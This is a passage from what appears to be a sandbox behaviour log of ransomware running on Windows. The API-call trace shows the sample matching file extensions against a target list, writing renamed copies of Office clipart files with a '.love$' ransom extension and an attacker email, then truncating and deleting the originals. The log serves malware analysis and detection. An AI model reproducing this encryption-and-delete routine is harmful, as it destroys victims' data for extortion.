-1 [0247.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 68 [0247.590] lstrlenW (lpString=".zip") returned 4 [0247.590] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0247.590] lstrlenW (lpString=".rar") returned 4 [0247.590] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0247.590] lstrlenW (lpString=".bz2") returned 4 [0247.590] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0247.590] lstrlenW (lpString=".7z") returned 3 [0247.590] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0247.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 68 [0247.590] lstrlenW (lpString=".dbf") returned 4 [0247.590] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0247.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 68 [0247.590] lstrlenW (lpString=".1cd") returned 4 [0247.590] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0247.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 68 [0247.590] lstrlenW (lpString=".jpg") returned 4 [0247.591] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0247.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 68 [0247.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 68 [0247.591] lstrlenW (lpString=".doc") returned 4 [0247.591] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0247.591] lstrlenW (lpString=".docx") returned 5 [0247.591] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0247.591] lstrlenW (lpString=".pdf") returned 4 [0247.591] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0247.591] lstrlenW (lpString=".xls") returned 4 [0247.591] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0247.591] lstrlenW (lpString=".xlsx") returned 5 [0247.591] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0247.591] lstrlenW (lpString=".ppt") returned 4 [0247.591] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0247.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 68 [0247.591] lstrlenW (lpString=".zip") returned 4 [0247.591] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0247.591] lstrlenW (lpString=".rar") returned 4 [0247.591] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0247.591] lstrlenW (lpString=".bz2") returned 4 [0247.591] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0247.591] lstrlenW (lpString=".7z") returned 3 [0247.591] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0247.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 68 [0247.591] lstrlenW (lpString=".dbf") returned 4 [0247.591] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0247.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 68 [0247.591] lstrlenW (lpString=".1cd") returned 4 [0247.591] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0247.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 68 [0247.592] lstrlenW (lpString=".jpg") returned 4 [0247.592] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0247.592] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0247.592] lstrlenW (lpString="FD00096_.WMF") returned 12 [0247.592] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00096_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0247.595] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=37390) returned 1 [0247.595] CloseHandle (hObject=0x548) returned 1 [0247.595] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00096_.wmf")) returned 0x220 [0247.595] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00096_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0247.595] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00096_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0247.596] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.596] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.596] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00096_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0247.597] GetLastError () returned 0x0 [0247.597] ReadFile (in: hFile=0x548, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x920e, lpOverlapped=0x0) returned 1 [0247.601] WriteFile (in: hFile=0x45c, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0x9210, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0x9210, lpOverlapped=0x0) returned 1 [0247.602] ReadFile (in: hFile=0x548, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1 [0247.602] WriteFile (in: hFile=0x45c, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1 [0247.602] SetEndOfFile (hFile=0x45c) returned 1 [0247.603] CloseHandle (hObject=0x45c) returned 1 [0247.603] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.603] SetEndOfFile (hFile=0x548) returned 1 [0247.606] CloseHandle (hObject=0x548) returned 1 [0247.607] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0247.607] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00096_.wmf")) returned 1 [0247.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68 [0247.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68 [0247.608] lstrlenW (lpString=".doc") returned 4 [0247.608] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0247.608] lstrlenW (lpString=".docx") returned 5 [0247.608] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0247.608] lstrlenW (lpString=".pdf") returned 4 [0247.608] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0247.608] lstrlenW (lpString=".xls") returned 4 [0247.608] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0247.608] lstrlenW (lpString=".xlsx") returned 5 [0247.608] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0247.608] lstrlenW (lpString=".ppt") returned 4 [0247.608] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0247.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68 [0247.608] lstrlenW (lpString=".zip") returned 4 [0247.608] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0247.608] lstrlenW (lpString=".rar") returned 4 [0247.608] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0247.608] lstrlenW (lpString=".bz2") returned 4 [0247.608] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0247.608] lstrlenW (lpString=".7z") returned 3 [0247.608] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0247.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68 [0247.608] lstrlenW (lpString=".dbf") returned 4 [0247.608] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0247.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68 [0247.609] lstrlenW (lpString=".1cd") returned 4 [0247.609] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0247.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68 [0247.609] lstrlenW (lpString=".jpg") returned 4 [0247.609] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0247.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68 [0247.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68 [0247.609] lstrlenW (lpString=".doc") returned 4 [0247.609] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0247.609] lstrlenW (lpString=".docx") returned 5 [0247.609] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0247.609] lstrlenW (lpString=".pdf") returned 4 [0247.609] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0247.609] lstrlenW (lpString=".xls") returned 4 [0247.609] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0247.609] lstrlenW (lpString=".xlsx") returned 5 [0247.609] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0247.609] lstrlenW (lpString=".ppt") returned 4 [0247.609] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0247.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68 [0247.609] lstrlenW (lpString=".zip") returned 4 [0247.609] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0247.609] lstrlenW (lpString=".rar") returned 4 [0247.609] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0247.609] lstrlenW (lpString=".bz2") returned 4 [0247.609] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0247.609] lstrlenW (lpString=".7z") returned 3 [0247.609] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0247.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68 [0247.609] lstrlenW (lpString=".dbf") returned 4 [0247.609] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0247.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68 [0247.609] lstrlenW (lpString=".1cd") returned 4 [0247.609] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0247.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68 [0247.610] lstrlenW (lpString=".jpg") returned 4 [0247.610] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0247.610] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0247.610] lstrlenW (lpString="FD00296_.WMF") returned 12 [0247.610] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00296_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0247.611] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=15856) returned 1 [0247.611] CloseHandle (hObject=0x548) returned 1 [0247.611] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00296_.wmf")) returned 0x220 [0247.611] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00296_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0247.611] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00296_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0247.611] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.611] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.611] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00296_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0247.612] GetLastError () returned 0x0 [0247.612] ReadFile (in: hFile=0x548, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x3df0, lpOverlapped=0x0) returned 1 [0247.670] WriteFile (in: hFile=0x45c, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0x3e00, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0x3e00, lpOverlapped=0x0) returned 1 [0247.671] ReadFile (in: hFile=0x548, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1 [0247.671] WriteFile (in: hFile=0x45c, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1 [0247.671] SetEndOfFile (hFile=0x45c) returned 1 [0247.671] CloseHandle (hObject=0x45c) returned 1 [0247.671] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.671] SetEndOfFile (hFile=0x548) returned 1 [0247.685] CloseHandle (hObject=0x548) returned 1 [0247.685] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0247.688] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00296_.wmf")) returned 1 [0247.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68 [0247.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68 [0247.691] lstrlenW (lpString=".doc") returned 4 [0247.691] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0247.691] lstrlenW (lpString=".docx") returned 5 [0247.691] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0247.691] lstrlenW (lpString=".pdf") returned 4 [0247.691] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0247.691] lstrlenW (lpString=".xls") returned 4 [0247.691] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0247.691] lstrlenW (lpString=".xlsx") returned 5 [0247.691] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0247.691] lstrlenW (lpString=".ppt") returned 4 [0247.691] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0247.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68 [0247.691] lstrlenW (lpString=".zip") returned 4 [0247.691] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0247.691] lstrlenW (lpString=".rar") returned 4 [0247.691] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0247.691] lstrlenW (lpString=".bz2") returned 4 [0247.691] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0247.691] lstrlenW (lpString=".7z") returned 3 [0247.691] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0247.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68 [0247.691] lstrlenW (lpString=".dbf") returned 4 [0247.691] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0247.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68 [0247.691] lstrlenW (lpString=".1cd") returned 4 [0247.691] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0247.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68 [0247.692] lstrlenW (lpString=".jpg") returned 4 [0247.692] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0247.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68 [0247.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68 [0247.692] lstrlenW (lpString=".doc") returned 4 [0247.692] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0247.692] lstrlenW (lpString=".docx") returned 5 [0247.692] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0247.692] lstrlenW (lpString=".pdf") returned 4 [0247.692] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0247.692] lstrlenW (lpString=".xls") returned 4 [0247.692] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0247.692] lstrlenW (lpString=".xlsx") returned 5 [0247.692] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0247.692] lstrlenW (lpString=".ppt") returned 4 [0247.692] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0247.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68 [0247.692] lstrlenW (lpString=".zip") returned 4 [0247.692] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0247.692] lstrlenW (lpString=".rar") returned 4 [0247.692] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0247.692] lstrlenW (lpString=".bz2") returned 4 [0247.692] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0247.692] lstrlenW (lpString=".7z") returned 3 [0247.692] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0247.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68 [0247.692] lstrlenW (lpString=".dbf") returned 4 [0247.692] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0247.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68 [0247.692] lstrlenW (lpString=".1cd") returned 4 [0247.692] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0247.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68 [0247.692] lstrlenW (lpString=".jpg") returned 4 [0247.692] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0247.693] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0247.693] lstrlenW (lpString="FD00361_.WMF") returned 12 [0247.693] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00361_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ec [0248.437] GetFileSizeEx (in: hFile=0x4ec, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=4074) returned 1 [0248.437] CloseHandle (hObject=0x4ec) returned 1 [0248.438] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00361_.wmf")) returned 0x220 [0249.054] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00361_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0249.054] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00361_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0249.054] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.055] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.055] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00361_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0249.056] GetLastError () returned 0x0 [0249.056] ReadFile (in: hFile=0x450, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0xfea, lpOverlapped=0x0) returned 1 [0249.063] WriteFile (in: hFile=0x548, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0xff0, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0xff0, lpOverlapped=0x0) returned 1 [0249.064] ReadFile (in: hFile=0x450, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1 [0249.064] WriteFile (in: hFile=0x548, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1 [0249.065] SetEndOfFile (hFile=0x548) returned 1 [0249.065] CloseHandle (hObject=0x548) returned 1 [0249.065] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.065] SetEndOfFile (hFile=0x450) returned 1 [0249.072] CloseHandle (hObject=0x450) returned 1 [0249.072] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0249.076] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00361_.wmf")) returned 1 [0249.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 68 [0249.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 68 [0249.079] lstrlenW (lpString=".doc") returned 4 [0249.079] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0249.079] lstrlenW (lpString=".docx") returned 5 [0249.079] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0249.079] lstrlenW (lpString=".pdf") returned 4 [0249.079] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0249.079] lstrlenW (lpString=".xls") returned 4 [0249.079] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0249.079] lstrlenW (lpString=".xlsx") returned 5 [0249.079] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0249.079] lstrlenW (lpString=".ppt") returned 4 [0249.079] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0249.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 68 [0249.079] lstrlenW (lpString=".zip") returned 4 [0249.079] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0249.079] lstrlenW (lpString=".rar") returned 4 [0249.079] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0249.079] lstrlenW (lpString=".bz2") returned 4 [0249.079] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") 